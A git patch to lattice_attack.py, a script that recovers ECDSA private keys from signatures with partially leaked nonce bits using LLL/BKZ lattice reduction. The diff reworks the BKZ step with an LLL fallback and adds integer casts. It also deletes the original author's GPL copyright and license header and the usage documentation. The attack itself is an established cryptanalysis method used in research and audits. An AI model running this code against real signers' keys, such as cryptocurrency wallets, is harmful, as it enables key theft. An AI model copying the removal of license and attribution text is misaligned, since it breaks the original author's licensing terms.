From 0480217ebd7aaa5490c6f836eb9d6fea38190064 Mon Sep 17 00:00:00 2001 From: Krash <34046594+KrashKrash@users.noreply.github.com> Date: Tue, 9 Sep 2025 03:02:47 +0800 Subject: [PATCH] Update lattice_attack.py --- lattice_attack.py | 101 +++++++++------------------------------------- 1 file changed, 18 insertions(+), 83 deletions(-) diff --git a/lattice_attack.py b/lattice_attack.py index e3264da..1d63510 100644 --- a/lattice_attack.py +++ b/lattice_attack.py @@ -1,102 +1,46 @@ #!/usr/bin/env python3 -# Lattice ECDSA Attack -# Copyright (C) 2021 Antoine Ferron - BitLogiK -# -# This program is free software: you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# You should have received a copy of the GNU General Public License -# along with this program. If not, see . -# -# Recover ECDSA private key from partial "k" nonce data -# Minimum 4 known bits per nonce : LSB or MSB -# -# Use linear matrices and lattice basis reduction to solve SVP from a -# Hidden Number Problem -# -# -# Install cryptography and fpylll -# cryptography : pip3 install cryptography -# or apt install python3-cryptography -# fpylll : doesn't work in Windows -# -> apt install python3-fpylll - - import argparse import json import random - -from fpylll import LLL, BKZ, IntegerMatrix +from fpylll import LLL, BKZ, IntegerMatrix, GSO, FPLLL +from fpylll.algorithms.bkz import BKZReduction import ecdsa_lib - -# DATA Format of the JSON file : -# { -# "curve": curveString, -# "public_key": publicKey, -# "message": message, // In case same message for all sigs -# "known_type": dataBitsType, -# "known_bits": kbits, -# "signatures": sigs, -# } -# -# curveString is the name of the curve, see CURVES_ORDER in ecdsa_lib -# publicKey is a list of the integer coordinates [Qx, Qy] -# message is the message bytes integers in a list -# dataBitsType is the type of bits known : "LSB" or "MSB" -# kbits is the number of known bits per secret k -# signatures is a list of signatures dictionaries, with parameters as integers -# [ {"hash": xyz, "r": intR, "s": intS, "kp": leakednoncepart }, {...}, ... ] -# -# "hash" needs to be provided when no "message" key. Means each signature -# has its own hash. -# -# Example if the LSB known for "k" are 0b000101 for a sig -# -> { "r": xxx, "s": xxx, "kp": 5 } -# MSB shall be provided reduced like LSB, means only the known bits 0b000101... -> 5 -# -# To convert to integer : -# if got bytes use : int.from_bytes(bytesvar, bytesorder="big") -# if got hex use : int(hexintvar, 16) -# -# To generate fake data for demo use gen_data.py - +FPLLL.set_precision(256) def reduce_lattice(lattice, block_size=None): if block_size is None: print("LLL reduction") return LLL.reduction(lattice) - print(f"BKZ reduction : block size = {block_size}") - return BKZ.reduction( - lattice, - BKZ.Param( + print(f"\r BKZ reduction : block size = {block_size}") + try: + M = GSO.Mat(lattice, float_type="mpfr") + M.update_gso() + bkz = BKZReduction(M) + bkz(BKZ.Param( block_size=block_size, strategies=BKZ.DEFAULT_STRATEGY, auto_abort=True, - ), - ) - + )) + return M.B + except Exception as e: + print(f"⚠️ BKZ-{block_size} failed: {e}. Falling back to LLL.") + return LLL.reduction(lattice) def test_result(mat, target_pubkey, curve): mod_n = ecdsa_lib.curve_n(curve) for row in mat: - candidate = row[-2] % mod_n + candidate = int(row[-2]) % mod_n if candidate > 0: cand1 = candidate cand2 = mod_n - candidate - if target_pubkey == ecdsa_lib.privkey_to_pubkey(cand1, curve): + if target_pubkey == ecdsa_lib.privkey_to_pubkey(int(cand1), curve): return cand1 - if target_pubkey == ecdsa_lib.privkey_to_pubkey(cand2, curve): + if target_pubkey == ecdsa_lib.privkey_to_pubkey(int(cand2), curve): return cand2 return 0 - def build_matrix(sigs, curve, num_bits, bits_type, hash_val): num_sigs = len(sigs) n_order = ecdsa_lib.curve_n(curve) @@ -152,23 +96,17 @@ def build_matrix(sigs, curve, num_bits, bits_type, hash_val): lattice[num_sigs + 1, num_sigs + 1] = n_order return lattice - MINIMUM_BITS = 4 RECOVERY_SEQUENCE = [None, 15, 25, 40, 50, 60] SIGNATURES_NUMBER_MARGIN = 1.03 - def minimum_sigs_required(num_bits, curve_name): curve_size = ecdsa_lib.curve_size(curve_name) return int(SIGNATURES_NUMBER_MARGIN * 4 / 3 * curve_size / num_bits) - def recover_private_key( signatures_data, h_int, pub_key, curve, bits_type, num_bits, loop ): - - # Is known bits > 4 ? - # Change to 5 for 384 and 8 for 521 ? if num_bits < MINIMUM_BITS: print( "This script requires fixed known bits per signature, " @@ -176,7 +114,6 @@ def recover_private_key( ) return False - # Is there enough signatures ? n_sigs = minimum_sigs_required(num_bits, curve) if n_sigs > len(signatures_data): print("Not enough signatures") @@ -201,7 +138,6 @@ def recover_private_key( return 0 - def lattice_attack_cli(file_name, loop): print("\n ----- Lattice ECDSA Attack ----- ") print(f"Loading data from file {file_name}") @@ -221,7 +157,7 @@ def lattice_attack_cli(file_name, loop): if message: hash_int = ecdsa_lib.sha2_int(bytes(message)) else: - hash_int = None # Signal to use a hash per sig, sig data + hash_int = None curve_string = data["curve"] data_type = data["known_type"] known_bits = data["known_bits"] @@ -245,7 +181,6 @@ def lattice_attack_cli(file_name, loop): else: print("Private key not found. Sorry For Your Loss") - if __name__ == "__main__": parser = argparse.ArgumentParser(description="ECDSA attack from JSON data file.") parser.add_argument(